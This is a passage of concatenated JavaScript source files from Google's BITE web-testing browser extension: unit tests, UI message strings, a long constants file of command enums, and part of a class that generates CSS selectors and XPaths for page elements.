goog.testing.net.XhrIo.sendInstances_ = []; stubs_.reset(); } function testLoadResultsSummary() { var mockGetKeyFunc = mockControl_.createFunctionMock(); mockGetKeyFunc().$returns('abc'); mockControl_.$replayAll(); var runsTab = new bite.server.run.Results(mockGetKeyFunc); runsTab.loadResultsSummary_(); var sendInstance = goog.testing.net.XhrIo.getSendInstances()[0]; var sentUri = sendInstance.getLastUri(); assertEquals('/run/load_results_summary', sentUri); mockControl_.$verifyAll(); } function testLoadResultsDetails() { var mockGetKeyFunc = mockControl_.createFunctionMock(); mockGetKeyFunc().$returns('abc'); mockControl_.$replayAll(); var runsTab = new bite.server.run.Results(mockGetKeyFunc); runsTab.loadResultsDetails_(); var sendInstance = goog.testing.net.XhrIo.getSendInstances()[0]; var sentUri = sendInstance.getLastUri(); assertEquals('/run/load_results_details', sentUri); mockControl_.$verifyAll(); }
JavaScript
// Copyright 2011 Google Inc. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. /** * @fileoverview User visible messages for bite. * @author michaelwill@google.com (Michael Williamson) */ goog.provide('bite.client.messages'); /** @desc Tests option title. */ var MSG_POPUP_OPTION_TEST_NAME = goog.getMsg('Tests'); /** @desc Tests option info. */ var MSG_POPUP_OPTION_TEST_DESC = goog.getMsg('Find and run manual tests.'); /** @desc Bugs option title. */ var MSG_POPUP_OPTION_BUGS_NAME = goog.getMsg('Bugs'); /** @desc Bugs option info. */ var MSG_POPUP_OPTION_BUGS_DESC = goog.getMsg( 'Visualize existing bugs or file new ones.'); /** @desc Report Bug option title. */ var MSG_POPUP_OPTION_REPORT_BUG_NAME = goog.getMsg('Report Bug'); /** @desc Report Bug option info. */ var MSG_POPUP_OPTION_REPORT_BUG_DESC = goog.getMsg( 'File a bug against this page (Ctrl+Alt+B)'); /** @desc Close option title. */ var MSG_POPUP_OPTION_CLOSE_NAME = goog.getMsg('Close Consoles'); /** @desc Close option info. */ var MSG_POPUP_OPTION_CLOSE_DESC = goog.getMsg( 'Close all BITE consoles in all windows.'); /** @desc Record and playback option title. */ var MSG_POPUP_OPTION_FLUX_NAME = goog.getMsg('Record/Playback'); /** @desc Record and playback option info. */ var MSG_POPUP_OPTION_FLUX_DESC = goog.getMsg( 'Record and playback UI automation.'); /** @desc Layers option title. */ var MSG_POPUP_OPTION_LAYERS_NAME = goog.getMsg('Layers'); /** @desc Layers option info. */ var MSG_POPUP_OPTION_LAYERS_DESC = goog.getMsg( 'Create or use custom tools and scripts.'); /** @desc Sets option title. */ var MSG_POPUP_OPTION_SETS_NAME = goog.getMsg('Sets'); /** @desc Sets option info. */ var MSG_POPUP_OPTION_SETS_DESC = goog.getMsg( 'Manage and analyze collections of tests.'); /** @desc Risk option title. */ var MSG_POPUP_OPTION_RISK_NAME = goog.getMsg('Risk'); /** @desc Risk option info. */ var MSG_POPUP_OPTION_RISK_DESC = goog.getMsg( 'Track risk and test analytics.'); /** @desc Admin option title. */ var MSG_POPUP_OPTION_ADMIN_NAME = goog.getMsg('Admin'); /** @desc Admin option info. */ var MSG_POPUP_OPTION_ADMIN_DESC = goog.getMsg( 'Manage projects, layers and security.'); /** @desc Help option title. */ var MSG_POPUP_OPTION_HELP_NAME = goog.getMsg('Help'); /** @desc Help option info. */ var MSG_POPUP_OPTION_HELP_DESC = goog.getMsg('Learn how to use BITE.'); /** @desc Settings option title. */ var MSG_POPUP_OPTION_SETTINGS_NAME = goog.getMsg('Settings'); /** @desc Settings option info. */ var MSG_POPUP_OPTION_SETTINGS_DESC = goog.getMsg('Configure BITE.'); /** * @param {string} uri The url that will help the user in * the event of an error. * @return {string} The message. */ function CALL_MSG_POPUP_LOGIN_ERROR(uri) { /** @desc A login error string. */ var MSG_POPUP_LOGIN_ERROR = goog.getMsg( 'There was a problem logging in.<br>' + '<a href="{$uri}" target="_blank">Try logging in here</a>.', {uri: uri}); return MSG_POPUP_LOGIN_ERROR; }
JavaScript
// Copyright 2011 Google Inc. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. /** * @fileoverview Tests for the BITE container. * * @author ralphj@google.com (Julie Ralph) */ goog.require('Bite.Constants'); goog.require('goog.dom'); goog.require('goog.json'); goog.require('goog.testing.PropertyReplacer'); var stubs = new goog.testing.PropertyReplacer(); var container = null; /** * Mocks the background script's GET_LOCAL_STORAGE. * @param {Object} data Used to determine the action being requested. * @param {Function} callback The callback. */ var mockSendRequest = function(data, callback) { if (data['action'] == Bite.Constants.HUD_ACTION.GET_LOCAL_STORAGE) { if (data['key'] == bite.client.Container.Keys_.CONSOLE_LOCATION + 'test_console') { var positionData = goog.json.serialize( {position: {x: 20, y: 20}, size: {height: 450, width: 350}}); callback(positionData); } else if (data['key'] == bite.client.Container.Keys_.SHOWN_MESSAGES + 'shown_message') { callback('t'); } else { callback(null); } } }; function setUp() { initChrome(); stubs.set(chrome.extension, 'sendRequest', mockSendRequest); } function tearDown() { if (container) { container.remove(); container = null; } stubs.reset(); } function testSetContentFromHtml() { container = new bite.client.Container('dev.biteserver.prom.google.com', 'test_console', 'Header', 'Subheader', false); assertEquals('test_console', container.getRoot().id); container.setContentFromHtml('Test Paragraph'); assertEquals( 'Test Paragraph', goog.dom.getElementByClass('bite-console-content').innerHTML); container.remove(); assertNull(goog.dom.getElement('test_console')); container = null; } function testSetContentFromElement() { container = new bite.client.Container('dev.biteserver.prom.google.com', 'test_console', 'Header', 'Subheader', false); var element = goog.dom.createDom('p', null, 'Test Paragraph'); container.setContentFromElement(element); assertEquals( 'Test Paragraph', goog.dom.getElementByClass('bite-console-content').innerHTML); } function testConsoleWithSavedLocation() { var mockUpdatePosition = function(position) { assertEquals(20, position.x); assertEquals(20, position.y); }; stubs.set(bite.client.Resizer, 'updatePosition', mockUpdatePosition); container = new bite.client.Container('dev.biteserver.prom.google.com', 'test_console', 'Header', 'Subheader', true); assertEquals(450, container.getRoot().clientHeight); assertEquals(350, container.getRoot().clientWidth); } function testShowInfoMessage() { container = new bite.client.Container('dev.biteserver.prom.google.com', 'test_console', 'Header', 'Subheader', false); container.showInfoMessage('Message a'); container.showInfoMessage('Message b'); infobarInnerHTML = goog.dom.getElementByClass('bite-console-infobar').innerHTML; assertNotNull(infobarInnerHTML.match(/Message a/)); assertNotNull(infobarInnerHTML.match(/Message b/)); } function testShowInfoMessageOnce() { container = new bite.client.Container('dev.biteserver.prom.google.com', 'test_console', 'Header', 'Subheader', false); container.showInfoMessageOnce('shown_message', 'Shown before'); container.showInfoMessageOnce('new_message', 'Never shown before'); infobarInnerHTML = goog.dom.getElementByClass('bite-console-infobar').innerHTML; assertNull(infobarInnerHTML.match(/Shown before/)); assertNotNull(infobarInnerHTML.match(/Never shown before/)); }
JavaScript
// Copyright 2011 Google Inc. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. /** * @fileoverview Tests for the Maps Helper. * * @author ralphj@google.com (Julie Ralph) */ /** * Testing bite.client.MapsHelper.isMapsUrl. * @this The context of the unit test. */ function testIsMapsUrl() { assertEquals(true, bite.client.MapsHelper.isMapsUrl('http://maps.google.com')); assertEquals(true, bite.client.MapsHelper.isMapsUrl( 'http://maps.google.com/?ie=UTF8&spn=34.808514,74.443359&z=4')); assertEquals(false, bite.client.MapsHelper.isMapsUrl('http://google.com')); assertEquals(false, bite.client.MapsHelper.isMapsUrl('http://maps.mail.com')); }
JavaScript
// Copyright 2010 Google Inc. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. /** * @fileoverview BITE constants. * * @author phu@google.com (Po Hu) */ goog.provide('Bite.Constants'); /** * Enum for result values. * @enum {string} */ Bite.Constants.WorkerResults = { FAILED: 'failed', PASS: 'passed', STOPPED: 'stop' }; /** * The default function name for getting element's descriptor. * @const * @type {string} */ Bite.Constants.FUNCTION_PARSE_DESCRIPTOR = 'parseElementDescriptor'; /** * The default url to suite-executor. * @const * @type {string} */ Bite.Constants.SUITE_EXECUTOR_URL = 'suite-executor-test.appspot.com'; /** * The handler for clicking link to run feature. * @const * @type {string} */ Bite.Constants.CLICK_LINK_TO_RUN_HANDLER = '/clicklinktorun'; /** * A list of URLs which should trigger automatic recording. * @const * @type {Array.<string>} */ Bite.Constants.AUTO_RECORD_URLS = [ 'maps.google.com' ]; /** * Enum of the commands for controlling rpf components. * @enum {string} */ Bite.Constants.CONTROL_CMDS = { CREATE_WINDOW: 'createWindow', OPEN_CONSOLE_AUTO_RECORD: 'openConsoleAutoRecord', REMOVE_WINDOW: 'removeWindow', SET_WORKER_TOKEN: 'setWorkerToken', SET_WORKER_URL: 'setWorkerUrl', START_WORKER_MODE: 'startWorkerMode', STOP_WORKER_MODE: 'stopWorkerMode' }; /** * Enum of the event types when a step is completed. * @enum {string} */ Bite.Constants.COMPLETED_EVENT_TYPES = { AUTOMATE_SAVE_DIALOG: 'automateSaveDialog', DEFAULT: '', FAILED: 'failed', FINISHED_CURRENT_RUN: 'finishedCurrentRun', FINISHED_LOAD_TEST_IN_CONSOLE: 'finishedLoadTestInConsole', FINISHED_RUNNING_TEST: 'finishedRunningTest', FINISHED_UPDATE_TEST_RESULT: 'finishedUpdateTestResult', HIGHLIGHTED_LINE: 'highlightedLine', LINE_HIGHLIGHTED: 'lineHighlighted', LOCAL_PROJECT_LOADED: 'localProjectLoaded', PLAYBACK_DIALOG_OPENED: 'playbackDialogOpened', PLAYBACK_STARTED: 'playbackStarted', PROJECT_LOADED: 'projectLoaded', PROJECT_SAVED_LOCALLY: 'projectSavedLocally', RUN_PLAYBACK_COMPLETE: 'runPlaybackComplete', RUN_PLAYBACK_STARTED: 'runPlaybackStarted', STOPPED_GROUP_TESTS: 'stoppedGroupTests', TEST_LOADED: 'testLoaded', PROJECT_LOADED_IN_EXPORT: 'projectLoadedInExport', TEST_SAVED: 'testSaved', RPF_CONSOLE_OPENED: 'rpfConsoleOpened' }; /** * Enum of the commands between rpf console and background world. * @enum {string} */ Bite.Constants.CONSOLE_CMDS = { AUTOMATE_RPF: 'automateRpf', CALLBACK_AFTER_EXEC_CMDS: 'callBackAfterExecCmds', CHECK_PLAYBACK_OPTION_AND_RUN: 'checkPlaybackOptionAndRun', CHECK_READY_TO_RECORD: 'checkReadyToRecord', DELETE_CMD: 'deleteCommand', DELETE_TEST_LOCAL: 'deleteTestLocal', DELETE_TEST_ON_WTF: 'deleteTestOnWTF', END_UPDATER_MODE: 'endUpdaterMode', ENTER_UPDATER_MODE: 'enterUpdaterMode', EVENT_COMPLETED: 'eventCompleted', EXECUTE_SCRIPT_IN_RECORD_PAGE: 'executeScriptInRecordPage', FETCH_DATA_FROM_BACKGROUND: 'fetchDataFromBackground', FINISH_CURRENT_RUN: 'finishCurrentRun', GENERATE_NEW_COMMAND: 'generateNewCommand', GET_ALL_FROM_WEB: 'getAllFromWeb', GET_HELPER_NAMES: 'getHelperNames', GET_LAST_MATCH_HTML: 'getLastMatchHtml', GET_LOCAL_PROJECT: 'getLocalProject', GET_LOGS_AS_STRING: 'getLogsAsString', GET_JSON_FROM_WTF: 'getJsonFromWTF', GET_JSON_LOCALLY: 'getJsonLocally', GET_PROJECT: 'getProject', GET_PROJECT_NAMES_FROM_LOCAL: 'getProjectNamesFromLocal', GET_PROJECT_NAMES_FROM_WEB: 'getProjectNamesFromWeb', GET_TEST_NAMES_LOCALLY: 'getTestNamesLocally', INSERT_CMDS_WHILE_PLAYBACK: 'insertCmdsWhilePlayback', LOAD_PROJECT_FROM_LOCAL_SERVER: 'loadProjectFromLocalServer', PAGE_LOADED_COMPLETE: 'pageLoadedComplete', PREPARE_RECORD_PLAYBACK_PAGE: 'prepareRecordPlaybackPage', RECORD_PAGE_LOADED_COMPLETE: 'recordPageLoadedComplete', REFRESH_CODE_TREE: 'refreshCodeTree', RUN_GROUP_TESTS: 'runGroupTests', RUN_TEST: 'runTest', SAVE_LOG_AND_HTML: 'saveLogAndHtml', SAVE_JSON_LOCALLY: 'saveJsonLocally', SAVE_PROJECT: 'saveProject', SAVE_PROJECT_LOCALLY: 'saveProjectLocally', SAVE_PROJECT_METADATA_LOCALLY: 'saveProjectMetadataLocally', SAVE_ZIP: 'saveZip', SET_ACTION_CALLBACK: 'setActionCallback', SET_CONSOLE_TAB_ID: 'setConsoleTabId', SET_DEFAULT_TIMEOUT: 'setDefaultTimeout', SET_INFO_MAP_IN_PLAYBACK: 'setInfoMapInPlayback', SET_MAXIMUM_RETRY_TIME: 'setMaximumRetryTime', SET_PLAYBACK_INTERVAL: 'setPlaybackInterval', SET_RECORDING_TAB: 'setRecordingTab', SET_TAB_AND_START_RECORDING: 'setTabAndStartRecording', SET_TAKE_SCREENSHOT: 'setTakeScreenshot', SET_USE_XPATH: 'setUseXpath', SET_USER_SPECIFIED_PAUSE_STEP: 'setUserSpecifiedPauseStep', START_AUTO_RECORD: 'startAutoRecord', START_RECORDING: 'startRecording', STOP_GROUP_TESTS: 'stopGroupTests', STOP_RECORDING: 'stopRecording', TEST_LOCATOR: 'testLocator', TEST_DESCRIPTOR: 'testDescriptor', UPDATE_ON_WEB: 'updateOnWeb', UPDATE_TEST_RESULT_ON_SERVER: 'updateTestResultOnServer', USER_SET_PAUSE: 'userSetPause', USER_SET_STOP: 'userSetStop' }; /** * Enum for playback methods. * @enum {string} */ Bite.Constants.PlayMethods = { ALL: 'all', STEP: 'step' }; /** * Key codes used by BITE * @enum {number} */ Bite.Constants.KeyCodes = { B_KEY: 66 }; /** * Urls used to control the Layer Manager. * @enum {string} */ Bite.Constants.LayerUrl = { DEFAULT_LAYER_LIST: '/layer/config/default_list', STATIC_RESOURCES: '/layer/' }; /** * BITE lock, to ensure only one content script is running on a page. * * @type {string} */ Bite.Constants.BITE_CONSOLE_LOCK = 'biteConsoleLock'; /** * Enum of actions handled by the Background script. * @enum {string} */ Bite.Constants.HUD_ACTION = { CHANGE_RECORD_TAB: 'changeRecordTab', CREATE_BUG: 'createBug', CREATE_RPF_WINDOW: 'createRpfWindow', ENSURE_CONTENT_SCRIPT_LOADED: 'ensureContentScriptLoaded', FETCH_BUGS: 'fetchBugs', FETCH_TEST_DATA: 'fetchTestData', FETCH_BUGS_DATA: 'fetchBugsData', GET_CURRENT_USER: 'getCurrentUser', GET_LOCAL_STORAGE: 'getLocalStorage', GET_RECORDING_LINK: 'getRecordingLink', GET_SCREENSHOT: 'getScreenshot', GET_SETTINGS: 'getSettings', GET_SERVER_CHANNEL: 'getServerChannel', GET_TEMPLATES: 'getTemplates', HIDE_ALL_CONSOLES: 'hideAllConsoles', HIDE_CONSOLE: 'hideConsole', LOAD_CONTENT_SCRIPT: 'loadContentScript', LOG_EVENT: 'logEvent', LOG_TEST_RESULT: 'logTestResult', REMOVE_LOCAL_STORAGE: 'resetLocalStorage', SET_LOCAL_STORAGE: 'setLocalStorage', START_NEW_BUG: 'startNewBug', TOGGLE_BUGS: 'toggleBugs', TOGGLE_TESTS: 'toggleTests', UPDATE_BUG: 'updateBug', UPDATE_DATA: 'updateData' }; /** * Bug binding actions. * @enum {string} */ Bite.Constants.BugBindingActions = { UPDATE: 'update', CLEAR: 'clear' }; /** * Bug recording actions. * @enum {string} */ Bite.Constants.BugRecordingActions = { UPDATE: 'update' }; /** * Playback failure reasons. * @enum {string} */ Bite.Constants.PlaybackFailures = { MULTIPLE_RETRY_FIND_ELEM: 'MultipleRetryFindElemFailure', MULTIPLE_RETRY_CUSTOM_JS: 'MultipleRetryCustomJsFailure', TIMEOUT: 'TimeoutFailure', UNSUPPORTED_COMMAND_FAILURE: 'UnsupportedCommandFailure', USER_PAUSE_FAILURE: 'UserPauseFailure' }; /** * HUD console types. * @enum {string} */ Bite.Constants.TestConsole = { NONE: 'none', BUGS: 'bugsConsole', TESTS: 'testConsole', NEWBUG: 'newBugConsole' }; /** * Test result types. * @enum {string} */ Bite.Constants.TestResult = { PASS: 'pass', FAIL: 'fail', SKIP: 'skip' }; /** * Bug DB Providers. * @enum {string} */ Bite.Constants.Providers = { DATASTORE: 'datastore', ISSUETRACKER: 'issuetracker' }; /** * Returns the url of the options page. * @return {string} The url. */ Bite.Constants.getOptionsPageUrl = function() { return chrome.extension.getURL('options.html'); }; /** * The test's own lib name. * @type {string} */ Bite.Constants.TEST_LIB_NAME = 'This Test'; /** * Enum for modes. * @enum {string} */ Bite.Constants.ConsoleModes = { DEFINE: 'define', IDLE: 'idle', PAUSE: 'pause', PLAY: 'play', RECORD: 'record', UPDATER: 'updater', VIEW: 'view', WORKER: 'worker' }; /** * Enum for modes. * @enum {string} */ Bite.Constants.ListenerDestination = { CONSOLE: 'console', EVENT_MANAGER: 'eventManager', RPF: 'rpf', CONTENT: 'content' }; /** * Enum for console events. * @enum {string} */ Bite.Constants.UiCmds = { // For main console. ADD_GENERATED_CMD: 'addGeneratedCmd', ADD_NEW_COMMAND: 'addNewCommand', ADD_NEW_TEST: 'addNewTest', ADD_SCREENSHOT: 'addScreenShot', CHANGE_MODE: 'changeMode', CHECK_TAB_READY: 'checkTabReady', CHECK_TAB_READY_TO_UPDATE: 'checkTabReadyToUpdate', HIGHLIGHT_LINE: 'highlightLine', LOAD_CMDS: 'loadCmds', LOAD_TEST_FROM_LOCAL: 'loadTestFromLocal', LOAD_TEST_FROM_WTF: 'loadTestFromWtf', ON_CONSOLE_CLOSE: 'onConsoleClose', ON_CONSOLE_REFRESH: 'onConsoleRefresh', ON_KEY_DOWN: 'onKeyDown', ON_KEY_UP: 'onKeyUp', ON_SHOW_MORE_INFO: 'onShowMoreInfo', OPEN_VALIDATION_DIALOG: 'openValidationDialog', RECORD_TAB_CLOSED: 'recordTabClosed', RESET_SCREENSHOTS: 'resetScreenShots', SET_CONSOLE_STATUS: 'setConsoleStatus', SET_FINISHED_TESTS_NUMBER: 'setFinishedTestsNumber', SET_START_URL: 'setStartUrl', SHOW_EXPORT: 'showExport', SHOW_INFO: 'showInfo', SHOW_NOTES: 'showNotes', SHOW_QUICK_CMDS: 'showQuickCmds', SHOW_SAVE_DIALOG: 'showSaveDialog', SHOW_SCREENSHOT: 'showScreenshot', SHOW_SETTING: 'showSetting', SHOW_PLAYBACK_RUNTIME: 'showPlaybackRuntime', START_RECORDING: 'startRecording', START_WORKER_MODE: 'startWorkerMode', STOP_RECORDING: 'stopRecording', TOGGLE_CONTENT_MAP: 'showContentMap', TOGGLE_PROJECT_INFO: 'showProjectInfo', UPDATE_CURRENT_STEP: 'updateCurrentStep', UPDATE_ELEMENT_AT_LINE: 'updateElementAtLine', UPDATE_LOCATOR: 'updateLocator', UPDATE_PLAYBACK_STATUS: 'updatePlaybackStatus', UPDATE_SCRIPT_INFO: 'updateScriptInfo', UPDATE_WHEN_ON_FAILED: 'updateWhenOnFailed', UPDATE_WHEN_RUN_FINISHED: 'updateWhenRunFinished', // For console helper. LOAD_SELECTED_LIB: 'loadSelectedLib', GENERATE_CUSTOMIZED_FUNCTION_CALL: 'generateCustomizedFunctionCall', // For details dialog. ON_CMD_MOVE_DOWN: 'onCmdMoveDown', ON_CMD_MOVE_UP: 'onCmdMoveUp', ON_EDIT_CMD: 'onEditCmd', ON_INSERT_ABOVE: 'onInsertAbove', ON_INSERT_BELOW: 'onInsertBelow', ON_LEAVE_COMMENTS: 'onLeaveComments', ON_PREV_PAGE: 'onPrevPage', ON_NEXT_PAGE: 'onNextPage', ON_REMOVE_CUR_LINE: 'onRemoveCurLine', POST_DEADLINE: 'postDeadline', UPDATE_HIGHLIGHT_LINE: 'updateHighlightLine', // For playback dialog. AUTOMATE_PLAY_MULTIPLE_TESTS: 'automatePlayMultipleTests', DELETE_CMD: 'deleteCmd', FAIL_CMD: 'failCmd', INSERT_CMD: 'insertCmd', OVERRIDE_CMD: 'overrideCmd', SET_PLAYBACK_ALL: 'setPlaybackAll', SET_PLAYBACK_PAUSE: 'setPlaybackPause', SET_PLAYBACK_STEP: 'setPlaybackStep', SET_PLAYBACK_STOP: 'setPlaybackStop', SET_PLAYBACK_STOP_ALL: 'setPlaybackStopAll', UPDATE_CMD: 'updateCmd', UPDATE_COMMENT: 'updateComment', // For validation dialog. ADD_VALIDATE_POSITION_CMD: 'addValidatePositionCmd', CHOOSE_VALIDATION_POSITION: 'chooseValidatePosition', DISPLAY_ALL_ATTRIBUTES: 'displayAllAttributes', // For savedialog. SAVE_TEST: 'saveTestToServer', // For loaddialog. AUTOMATE_DIALOG_LOAD_PROJECT: 'automateDialogLoadProject', AUTOMATE_DIALOG_LOAD_TEST: 'automateDialogLoadTest', SET_PROJECT_INFO: 'setProjectInfo', // For quick command dialog. UPDATE_INVOKE_SELECT: 'updateInvokeSelect', // For settings dialog. GENERATE_WEBDRIVER_CODE: 'generateWebdriverCode' }; /** * The options for the more information panel of the RPF console. This is * the panel beneath the toolbar, which can be hidden or can show * additional information about the current test. * @enum {string} */ Bite.Constants.RpfConsoleInfoType = { NONE: 'none', PROJECT_INFO: 'projectInfo', CONTENT_MAP: 'contentMap' }; /** * Define ConsoleManager ids for data and management. * @enum {string} */ Bite.Constants.RpfConsoleId = { CONTENT_MAP_CONTAINER: 'rpf-content-map', CURRENT_PROJECT: 'rpf-current-project', DATA_CONTAINER: 'datafileContainer', ELEMENT_START_URL: 'startUrl', ELEMENT_STATUS: 'statusLog', ELEMENT_TEST_ID: 'testId', ELEMENT_TEST_NAME: 'testName', PROJECT_INFO_CONTAINER: 'rpf-project-info', SCRIPTS_CONTAINER: 'scriptsContainer' }; /** * The commands in record helper. * @enum {string} */ Bite.Constants.RECORD_ACTION = { START_RECORDING: 'startRecording', START_UPDATE_MODE: 'startUpdateMode', STOP_RECORDING: 'stopRecording' }; /** * The commands to automate RPF. * @enum {string} */ Bite.Constants.RPF_AUTOMATION = { AUTOMATE_SINGLE_SCRIPT: 'automateSingleScript', LOAD_AND_RUN_FROM_LOCAL: 'loadAndRunFromLocal', PLAYBACK_MULTIPLE: 'playbackMultiple' }; /** * Enum for view modes. * @enum {string} */ Bite.Constants.ViewModes = { CODE: 'code', READABLE: 'readable', BOOK: 'book', UPDATER: 'updater' };
JavaScript
// Copyright 2010 Google Inc. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. /** * @fileoverview This file contains the element descriptive info * generator and parser. * * @author phu@google.com (Po Hu) */ goog.provide('common.client.ElementDescriptor'); goog.require('Bite.Constants'); goog.require('common.dom.querySelector'); goog.require('goog.dom'); goog.require('goog.format.HtmlPrettyPrinter'); goog.require('goog.format.JsonPrettyPrinter'); goog.require('goog.json'); goog.require('goog.string'); /** * A class for generating and parsing the descriptive info of an element. * @constructor * @export */ common.client.ElementDescriptor = function() { /** * The private console logger. * @private */ this.console_ = goog.global.console; }; /** * Gets element based on the given method and value. * @param {string} method The method to locate an element. * @param {string} value The value to locate an element. * @return {Element} The matching element. * @export */ common.client.ElementDescriptor.getElemBy = function(method, value) { var doc = goog.dom.getDocument(); try { switch (method) { case 'xpath': return doc.evaluate( value, doc, null, XPathResult.ANY_TYPE, null).iterateNext(); case 'id': return goog.dom.getElement(value); case 'linktext': return doc.evaluate( '//a[text()="' + value + '"]', doc, null, XPathResult.ANY_TYPE, null).iterateNext(); case 'class': return doc.querySelector('.' + value); case 'name': return doc.getElementsByName(value)[0]; case 'selector': return doc.querySelector(value); } } catch (e) { console.log('Error: ' + e.message); return null; } }; /** * Generates the css selector path of an element. * @param {!Node} elem The element object. * @return {string} The selector string. * @export */ common.client.ElementDescriptor.prototype.generateSelectorPath = function( elem) { var selector = ''; try { selector = common.dom.querySelector.getSelector(elem); } catch (e) { console.log('Failed to generate the selector path.'); } return selector; }; /** * Generates the css selector of an element. * @param {Element} elem The element object. * @return {string} The selector string. * @export */ common.client.ElementDescriptor.prototype.generateSelector = function(elem) { var curElem = elem; var selector = this.generateSelector_(curElem); while (!this.isSelectorUnique_(elem, selector)) { curElem = curElem.parentNode; if (curElem == document || curElem.tagName.toLowerCase() == 'html') { break; } selector = this.generateSelector_(curElem) + '>' + selector; } return selector; }; /** * Generates the xpath of an element based on user specified attribute array. * @param {Element} elem The element object. * @param {Object.<string, Object>} ancestorAttrs The key is the ancestor * elements' attribute and the value is an object which contains the * attribute's value and whether the value should be exact or contained. * @param {Object.<string, Object>} elementAttrs Refers to the ancestorAttrs, * the difference is that this object contains the selected element's * attributes. * @return {string} The xpath string. * @export */ common.client.ElementDescriptor.prototype.generateXpath = function( elem, ancestorAttrs, elementAttrs) { var curElem = elem; var doc = goog.dom.getDocument(); var xpath = this.generateXpath_(curElem, elementAttrs); var notUnique = false; // Loops to check if the xpath matches a unique element. while (curElem.tagName.toLowerCase() != 'body' && (notUnique = !this.isXpathUnique_(elem, '//' + xpath))) { curElem = curElem.parentNode; xpath = this.generateXpath_(curElem, ancestorAttrs) + '/' + xpath; } if (notUnique) { console.log('The final xpath is (not working): ' + ('//' + xpath) + '\n' + 'The found elements by the above xpath are:'); console.log(this.getAllElementsByXpath_('//' + xpath)); return 'Error (please check the developer console for xpath)'; } else { return '//' + xpath; } }; /** * Generates the xpath of an element based on user specified attribute array. * @param {Node} elem The element object. * @param {Object.<string, Object>} attrs Refers to the generateXpath's doc. * @return {string} The xpath string. * @private */ common.client.ElementDescriptor.prototype.generateXpath_ = function( elem, attrs) { var attrXpath = ''; for (var attr in attrs) { var text = ''; var isExact = true; if (!attrs[attr]) { // Assume if the value is null, then it needs dynamically get the // attribute value and assume it should be exact match. text = attr == 'text' ? goog.dom.getTextContent(/** @type {Node} */ (elem)) : elem.getAttribute(attr); } else { text = attrs[attr]['value']; isExact = attrs[attr]['isExact']; } if (attr == 'text') { if (isExact) { attrXpath += ('[text()="' + text + '"]'); } else { attrXpath += ('[contains(text(),"' + text + '")]'); } } else { if (text) { if (isExact) { attrXpath += ('[@' + attr + '="' + text + '"]'); } else { attrXpath += ('[contains(@' + attr + ',"' + text + '")]'); } } } } // If the xpath with attribute matches unique element, no need to // append the node index info. if (this.isXpathUnique_( /** @type {Element} */ (elem), '//' + elem.tagName + attrXpath)) { return elem.tagName + attrXpath; } var children = []; var prefix = ''; if (elem.parentNode) { children = goog.dom.getChildren(/** @type {Element} */ (elem.parentNode)); for (var i = 0, j = 0, len = children.length; i < len; ++i) { if (children[i].tagName == elem.tagName) { ++j; if (children[i].isSameNode(elem)) { prefix = elem.tagName + '[' + j + ']'; } } } } return prefix + attrXpath; }; /** * The relatively stable attributes. * @private */ common.client.ElementDescriptor.elemAttr_ = ['name', 'class', 'title']; /** * Generates the css selector of an element. * @param {Node} elem The element object. * @return {string} The selector string. * @private */ common.client.ElementDescriptor.prototype.generateSelector_ = function(elem) { var selector = ''; var children = []; var attrSelector = ''; var attrs = common.client.ElementDescriptor.elemAttr_; if (elem.getAttribute('id')) { return elem.tagName + '#' + elem.getAttribute('id'); } for (var i = 0, len = attrs.length; i < len; i++) { var value = elem.getAttribute(attrs[i]); if (value) { attrSelector += ('[' + attrs[i] + '="' + value + '"]'); } } if (elem.parentNode) { children = goog.dom.getChildren(/** @type {Element} */ (elem.parentNode)); var j = 0; for (var i = 0, len = children.length; i < len; i++) { if (children[i].tagName == elem.tagName) { j += 1; if (children[i].isSameNode(elem)) { selector = elem.tagName + ':nth-of-type(' + j + ')'; } } } } return selector + attrSelector; }; /** * Tests if the selector is unique for the given elem. * @param {Element} elem The element object. * @param {string} selector The selector string. * @return {boolean} Whether the selector is unique. * @private */ common.client.ElementDescriptor.prototype.isSelectorUnique_ = function( elem, selector) { var elems = null; try { elems = goog.dom.getDocument().querySelectorAll(selector); } catch (e) { console.log('Failed to find elements through selector ' + selector); return false; } return elems && elems.length == 1 && elem.isSameNode(elems[0]); }; /** * Tests if the xpath is unique for the given elem. * @param {Element} elem The element object. * @param {string} xpath The xpath string. * @return {boolean} Whether the xpath is unique. * @private */ common.client.ElementDescriptor.prototype.isXpathUnique_ = function( elem, xpath) { try { var doc = goog.dom.getDocument(); var elems = null; elems = doc.evaluate(xpath, doc, null, XPathResult.ANY_TYPE, null); var firstR = elems.iterateNext(); var secondR = elems.iterateNext(); return firstR && !secondR && elem.isSameNode(firstR); } catch (e) { throw new Error('Failed to find elements through xpath ' + xpath); } }; /** * Gets all of the elements by a given xpath. * @param {string} xpath The xpath string. * @return {!Array.<Element>} The 